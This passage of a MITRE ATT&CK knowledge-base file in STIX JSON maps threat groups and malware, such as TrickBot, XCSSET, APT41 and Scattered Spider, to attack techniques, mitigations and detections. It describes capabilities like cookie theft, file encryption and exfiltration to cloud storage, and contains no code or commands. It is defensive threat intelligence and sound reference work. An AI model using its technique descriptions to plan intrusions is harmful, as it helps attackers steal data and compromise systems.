2024.","url":"https://docs.aws.amazon.com/organizations/latest/userguide/orgs_best-practices_mgmt-acct.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-16T19:22:44.274Z","description":"Periodically audit resource groups in the cloud management console to ensure that only expected items exist, especially close to the top of the hierarchy (e.g., AWS accounts and Azure subscriptions). Typically, top-level accounts (such as the AWS management account) should not contain any workloads or resources.(Citation: AWS Management Account Best Practices)","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--0ce73446-8722-4086-9d43-514f1d0f669e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cad1f2d3-c3c2-4f55-863e-0de712cd84b7","created":"2024-04-12T10:51:54.129Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"NGLite Trojan","description":"Robert Falcone, Jeff White, and Peter Renals. (2021, November 7). Targeted Attack Campaign Against ManageEngine ADSelfService Plus Delivers Godzilla Webshells, NGLite Trojan and KdcSponge Stealer. Retrieved February 8, 2024.","url":"https://unit42.paloaltonetworks.com/manageengine-godzilla-nglite-kdcsponge/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-19T13:24:36.877Z","description":"[NGLite](https://attack.mitre.org/software/S1106) identifies the victim system MAC and IPv4 addresses and uses these to establish a victim identifier.(Citation: NGLite Trojan)","relationship_type":"uses","source_ref":"malware--72b5f07f-5448-4e00-9ff2-08bc193a7b77","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cad2a13a-eb81-4c1c-8d16-beac4bf79625","type":"relationship","created":"2021-09-29T20:46:38.437Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA20-239A BeagleBoyz August 2020","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-239a","description":"DHS/CISA. (2020, August 26). FASTCash 2.0: North Korea's BeagleBoyz Robbing Banks. Retrieved September 29, 2021."}],"modified":"2021-09-29T20:46:38.437Z","description":"[APT38](https://attack.mitre.org/groups/G0082) has used the Windows API to execute code within a victim's system.(Citation: CISA AA20-239A BeagleBoyz August 2020) ","relationship_type":"uses","source_ref":"intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cad9bdcc-41b3-44e2-98d2-fb07fe268838","type":"relationship","created":"2020-06-08T16:57:20.194Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky TajMahal April 2019","url":"https://securelist.com/project-tajmahal/90240/","description":"GReAT. (2019, April 10). Project TajMahal – a sophisticated new APT framework. Retrieved October 14, 2019."}],"modified":"2020-06-08T17:03:53.050Z","description":"[TajMahal](https://attack.mitre.org/software/S0467) has the ability to steal written CD images and files of interest from previously connected removable drives when they become available again.(Citation: Kaspersky TajMahal April 2019)","relationship_type":"uses","source_ref":"malware--b51797f7-57da-4210-b8ac-b8632ee75d70","target_ref":"attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cadbc1b1-aa69-4120-982e-cb306143d759","created":"2024-05-20T20:35:59.765Z","revoked":false,"external_references":[{"source_name":"Crowdstrike HuntReport 2022","description":"CrowdStrike. (2023). 2022 Falcon OverWatch Threat Hunting Report. Retrieved May 20, 2024.","url":"https://go.crowdstrike.com/rs/281-OBQ-266/images/2022OverWatchThreatHuntingReport.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-20T20:35:59.765Z","description":"[Aquatic Panda](https://attack.mitre.org/groups/G0143) used remote scheduled tasks to install malicious software on victim systems during lateral movement actions.(Citation: Crowdstrike HuntReport 2022)","relationship_type":"uses","source_ref":"intrusion-set--64b52e7d-b2c4-4a02-9372-08a463f5dc11","target_ref":"attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cae4a73c-25e9-4f2c-9a89-00c17f78c05c","type":"relationship","created":"2022-03-30T14:26:51.837Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.837Z","description":"Monitor contextual data about a running process, which may include information such as environment variables, image name, user/owner that may bypass UAC mechanisms to elevate process privileges on system.","source_ref":"x-mitre-data-component--ee575f4a-2d4f-48f6-b18b-89067760adc1","target_ref":"attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cae6bbd0-d00e-4cc4-872a-d3ac9cc97684","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT37 Feb 2018","description":"FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.","url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"},{"url":"https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html","description":"Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.","source_name":"Talos Group123"}],"modified":"2020-03-17T18:52:24.076Z","description":"[APT37](https://attack.mitre.org/groups/G0067) has used the command-line interface.(Citation: FireEye APT37 Feb 2018)(Citation: Talos Group123)","relationship_type":"uses","source_ref":"intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--caef212a-7ed2-4cb9-a155-7ce79a9784b8","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"S2 Grupo TrickBot June 2017","description":"Salinas, M., Holguin, J. (2017, June). Evolution of Trickbot. Retrieved July 31, 2018.","url":"https://www.securityartwork.es/wp-content/uploads/2017/07/Trickbot-report-S2-Grupo.pdf"},{"description":"Anthony, N., Pascual, C.. (2018, November 1). Trickbot Shows Off New Trick: Password Grabber Module. Retrieved November 16, 2018.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-shows-off-new-trick-password-grabber-module/","source_name":"Trend Micro Trickbot Nov 2018"}],"modified":"2019-06-24T19:15:06.424Z","description":"[TrickBot](https://attack.mitre.org/software/S0266) searches the system for all of the following file extensions: .avi, .mov, .mkv, .mpeg, .mpeg4, .mp4, .mp3, .wav, .ogg, .jpeg, .jpg, .png, .bmp, .gif, .tiff, .ico, .xlsx, and .zip. It can also obtain browsing history, cookies, and plug-in information.(Citation: S2 Grupo TrickBot June 2017)(Citation: Trend Micro Trickbot Nov 2018)","relationship_type":"uses","source_ref":"malware--00806466-754d-44ea-ad6f-0caf59cb8556","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--caf19942-8346-447f-9781-28a0b858c43f","type":"relationship","created":"2020-06-24T22:37:51.034Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","source_name":"Beechey 2010"},{"url":"https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"}],"modified":"2021-08-30T21:35:12.578Z","description":"Identify and block potentially malicious unmanaged COR_PROFILER profiling DLLs by using application control solutions like AppLocker that are capable of auditing and/or blocking unapproved DLLs.(Citation: Beechey 2010)(Citation: Windows Commands JPCERT)(Citation: NSA MS AppLocker)","relationship_type":"mitigates","source_ref":"course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db","target_ref":"attack-pattern--ffeb0780-356e-4261-b036-cfb6bd234335","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--caf951a5-6952-4966-941d-71d9cd598b28","type":"relationship","created":"2021-04-12T16:12:36.763Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"BlackBerry Bahamut","url":"https://www.blackberry.com/us/en/pdfviewer?file=/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-spark-bahamut.pdf","description":"The BlackBerry Research & Intelligence Team. (2020, October). BAHAMUT: Hack-for-Hire Masters of Phishing, Fake News, and Fake Apps. Retrieved February 8, 2021."}],"modified":"2021-05-24T13:16:56.578Z","description":"[Windshift](https://attack.mitre.org/groups/G0112) has used malware to identify the username on a compromised host.(Citation: BlackBerry Bahamut)","relationship_type":"uses","source_ref":"intrusion-set--afec6dc3-a18e-4b62-b1a4-5510e1a498d1","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cafaa08a-1f40-40cb-a3fd-c507a1cc6e40","created":"2019-01-29T18:55:20.966Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Riskiq Remcos Jan 2018","description":"Klijnsma, Y. (2018, January 23). Espionage Campaign Leverages Spear Phishing, RATs Against Turkish Defense Contractors. Retrieved November 6, 2018.","url":"https://web.archive.org/web/20180124082756/https://www.riskiq.com/blog/labs/spear-phishing-turkish-defense-contractors/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-12-23T14:07:20.664Z","description":"[Remcos](https://attack.mitre.org/software/S0332) can search for files on the infected machine.(Citation: Riskiq Remcos Jan 2018)","relationship_type":"uses","source_ref":"tool--7cd0bc75-055b-4098-a00e-83dc8beaff14","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cafdf392-1a61-422f-80ca-4d0d088bd44a","type":"relationship","created":"2021-10-11T16:56:45.466Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Lokibot Jan 2021","url":"https://blog.talosintelligence.com/2021/01/a-deep-dive-into-lokibot-infection-chain.html","description":"Muhammad, I., Unterbrink, H.. (2021, January 6). A Deep Dive into Lokibot Infection Chain. Retrieved August 31, 2021."}],"modified":"2021-10-11T16:56:45.466Z","description":"[Lokibot](https://attack.mitre.org/software/S0447) has used PowerShell commands embedded inside batch scripts.(Citation: Talos Lokibot Jan 2021) ","relationship_type":"uses","source_ref":"malware--cb741463-f0fe-42e0-8d45-bc7e8335f5ae","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cafefef9-bf75-48e2-91e4-716988309f52","type":"relationship","created":"2020-03-02T14:19:22.905Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-25T19:01:04.730Z","description":"Ensure least privilege principles are applied to important information resources to reduce exposure to data manipulation risk.","relationship_type":"mitigates","source_ref":"course-of-action--987988f0-cf86-4680-a875-2f6456ab2448","target_ref":"attack-pattern--ac9e6b22-11bf-45d7-9181-c1cb08360931","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cb02fb3b-8223-476f-90be-ab50e3432d0a","type":"relationship","created":"2021-03-23T20:49:40.264Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky ShadowPad Aug 2017","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2017/08/07172148/ShadowPad_technical_description_PDF.pdf","description":"Kaspersky Lab. (2017, August). ShadowPad: popular server management software hit in supply chain attack. Retrieved March 22, 2021."}],"modified":"2021-03-23T20:49:40.264Z","description":"[ShadowPad](https://attack.mitre.org/software/S0596) has injected an install module into a newly created process.(Citation: Kaspersky ShadowPad Aug 2017)","relationship_type":"uses","source_ref":"malware--ec9e00dd-0313-4d5b-8105-c20aa47abffc","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cb043548-a193-4ade-b69d-d83e3378d255","type":"relationship","created":"2021-10-05T21:58:51.343Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"trendmicro xcsset xcode project 2020","url":"https://documents.trendmicro.com/assets/pdf/XCSSET_Technical_Brief.pdf","description":"Mac Threat Response, Mobile Research Team. (2020, August 13). The XCSSET Malware: Inserts Malicious Code Into Xcode Projects, Performs UXSS Backdoor Planting in Safari, and Leverages Two Zero-day Exploits. Retrieved October 5, 2021."}],"modified":"2021-10-19T00:23:15.976Z","description":"[XCSSET](https://attack.mitre.org/software/S0658) performs AES-CBC encryption on files under ~/Documents, ~/Downloads, and\n~/Desktop with a fixed key and renames files to give them a .enc extension. Only files with sizes \nless than 500MB are encrypted.(Citation: trendmicro xcsset xcode project 2020)","relationship_type":"uses","source_ref":"malware--e14085cb-0e8d-4be6-92ba-e3b93ee5978f","target_ref":"attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cb0632ef-fb36-44c1-916c-4de7ce1c956e","created":"2023-01-26T21:29:19.346Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SentinelLabs Metador Sept 2022","description":"Ehrlich, A., et al. (2022, September). THE MYSTERY OF METADOR | AN UNATTRIBUTED THREAT HIDING IN TELCOS, ISPS, AND UNIVERSITIES. Retrieved January 23, 2023.","url":"https://assets.sentinelone.com/sentinellabs22/metador#page=1"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-04T21:19:51.410Z","description":"[Mafalda](https://attack.mitre.org/software/S1060) can use a variety of API calls.(Citation: SentinelLabs Metador Sept 2022)","relationship_type":"uses","source_ref":"malware--3be1fb7a-0f7e-415e-8e3a-74a80d596e68","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cb0931f7-4d6c-4f21-95a8-fd9d74ba30e0","created":"2019-09-23T22:53:30.251Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT41 Aug 2019","description":"Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.","url":"https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:27:10.543Z","description":"[APT41](https://attack.mitre.org/groups/G0096) used a tool called CLASSFON to covertly proxy network communications.(Citation: FireEye APT41 Aug 2019)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cb094cb6-145c-471b-beac-0895a632bb57","created":"2024-03-29T14:57:30.076Z","revoked":false,"external_references":[{"source_name":"CISA Scattered Spider Advisory November 2023","description":"CISA. (2023, November 16). Cybersecurity Advisory: Scattered Spider (AA23-320A). Retrieved March 18, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-320a"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-29T14:57:30.076Z","description":"[Scattered Spider](https://attack.mitre.org/groups/G1015) creates new user identities within the compromised organization.(Citation: CISA Scattered Spider Advisory November 2023)","relationship_type":"uses","source_ref":"intrusion-set--44d37b89-a739-4810-9111-0d2617a8939b","target_ref":"attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cb0b7f7e-9ce2-4917-8eda-ae92080f6ff1","type":"relationship","created":"2021-08-10T14:14:03.761Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Seqrite DoubleExtension","url":"https://www.seqrite.com/blog/how-to-avoid-dual-attack-and-vulnerable-files-with-double-extension/","description":"Seqrite. (n.d.). How to avoid dual attack and vulnerable files with double extension?. Retrieved July 27, 2021."},{"source_name":"HowToGeek ShowExtension","url":"https://www.howtogeek.com/205086/beginner-how-to-make-windows-show-file-extensions/","description":"Chris Hoffman. (2017, March 8). How to Make Windows Show File Extensions. Retrieved August 4, 2021."}],"modified":"2021-10-14T21:09:59.743Z","description":"Disable the default to “hide file extensions for known file types” in Windows OS.(Citation: Seqrite DoubleExtension)(Citation: HowToGeek ShowExtension)","relationship_type":"mitigates","source_ref":"course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3","target_ref":"attack-pattern--11f29a39-0942-4d62-92b6-fe236cf3066e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cb0ca294-246f-417f-bf19-9faebeb7e727","created":"2024-01-22T19:23:36.323Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kaspersky ToddyCat Check Logs October 2023","description":"Dedola, G. et al. (2023, October 12). ToddyCat: Keep calm and check logs. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat-keep-calm-and-check-logs/110696/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-05T21:24:36.031Z","description":"[Pcexter](https://attack.mitre.org/software/S1102) can upload stolen files to OneDrive storage accounts via HTTP `POST`.(Citation: Kaspersky ToddyCat Check Logs October 2023)","relationship_type":"uses","source_ref":"malware--e4feffc2-53d1-45c9-904e-adb9faca0d15","target_ref":"attack-pattern--bf1b6176-597c-4600-bfcd-ac989670f96b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cb0d2895-e692-46af-80e7-2bbc3c40600f","type":"relationship","created":"2021-10-08T15:22:00.009Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Checkpoint IndigoZebra July 2021","url":"https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/","description":"CheckPoint Research. (2021, July 1). IndigoZebra APT continues to attack Central Asia with evolving tools. Retrieved September 24, 2021."}],"modified":"2021-10-08T15:22:00.009Z","description":"[BoxCaon](https://attack.mitre.org/software/S0651) can collect the victim's MAC address by using the GetAdaptersInfo API.(Citation: Checkpoint IndigoZebra July 2021)","relationship_type":"uses","source_ref":"malware--919a056e-5104-43b9-ad55-2ac929108b71","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cb0ebed2-4cac-437b-b5b2-37ee716af3f0","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"F-Secure CozyDuke","description":"F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.","url":"https://www.f-secure.com/documents/996508/1030745/CozyDuke"}],"modified":"2020-11-23T17:03:38.650Z","description":"One persistence mechanism used by [CozyCar](https://attack.mitre.org/software/S0046) is to register itself as a Windows service.(Citation: F-Secure CozyDuke)","relationship_type":"uses","source_ref":"malware--e6ef745b-077f-42e1-a37d-29eecff9c754","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cb1037c1-4b83-4a79-ba12-00558bb6b42b","type":"relationship","created":"2021-10-04T20:52:20.304Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Lazarus KillDisk April 2018","description":"Kálnai, P., Cherepanov A. (2018, April 03). Lazarus KillDisks Central American casino. Retrieved May 17, 2018.","url":"https://www.welivesecurity.com/2018/04/03/lazarus-killdisk-central-american-casino/"}],"modified":"2021-10-04T20:54:09.057Z","description":"(Citation: ESET Lazarus KillDisk April 2018)","relationship_type":"uses","source_ref":"intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340","target_ref":"malware--e221eb77-1502-4129-af1d-fe1ad55e7ec6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cb11835b-c16e-4877-8769-806277b994fc","created":"2023-01-26T19:29:59.685Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SentinelLabs Metador Sept 2022","description":"Ehrlich, A., et al. (2022, September). THE MYSTERY OF METADOR | AN UNATTRIBUTED THREAT HIDING IN TELCOS, ISPS, AND UNIVERSITIES. Retrieved January 23, 2023.","url":"https://assets.sentinelone.com/sentinellabs22/metador#page=1"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-04T21:46:35.373Z","description":"[Mafalda](https://attack.mitre.org/software/S1060) can search for files and directories.(Citation: SentinelLabs Metador Sept 2022)","relationship_type":"uses","source_ref":"malware--3be1fb7a-0f7e-415e-8e3a-74a80d596e68","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cb11ee03-ac58-417a-a50b-4c3229e226a5","type":"relationship","created":"2020-11-09T16:28:37.761Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Brazilian Banking Malware July 2020","url":"https://securelist.com/the-tetrade-brazilian-banking-malware/97779/","description":"GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020."}],"modified":"2020-11-09T16:28:37.761Z","description":"[Astaroth](https://attack.mitre.org/software/S0373) can abuse alternate data streams (ADS) to store content for malicious payloads.(Citation: Securelist Brazilian Banking Malware July 2020)","relationship_type":"uses","source_ref":"malware--edb24a93-1f7a-4bbf-a738-1397a14662c6","target_ref":"attack-pattern--f2857333-11d4-45bf-b064-2c28d8525be5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--cb137e4b-f42b-4d38-9846-7ecd2d8f6071","created":"2022-03-30T14:26:51.846Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for execution of commands and arguments associated with enumeration or information gathering of email addresses and accounts such as Get-AddressList, Get-GlobalAddressList, and Get-OfflineAddressBook.","modified":"2022-04-14T15:05:34.741Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--4bc31b94-045b-4752-8920-aebaebdb6470","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cb15eab8-59ca-4b36-b1cc-574ff9a646f4","type":"relationship","created":"2021-09-28T17:59:40.619Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Ferocious Kitten Jun 2021","url":"https://securelist.com/ferocious-kitten-6-years-of-covert-surveillance-in-iran/102806/","description":"GReAT. (2021, June 16). Ferocious Kitten: 6 Years of Covert Surveillance in Iran. Retrieved September 22, 2021."}],"modified":"2021-10-15T17:05:58.477Z","description":"[MarkiRAT](https://attack.mitre.org/software/S0652) can initiate communication over HTTP/HTTPS for its C2 server.(Citation: Kaspersky Ferocious Kitten Jun 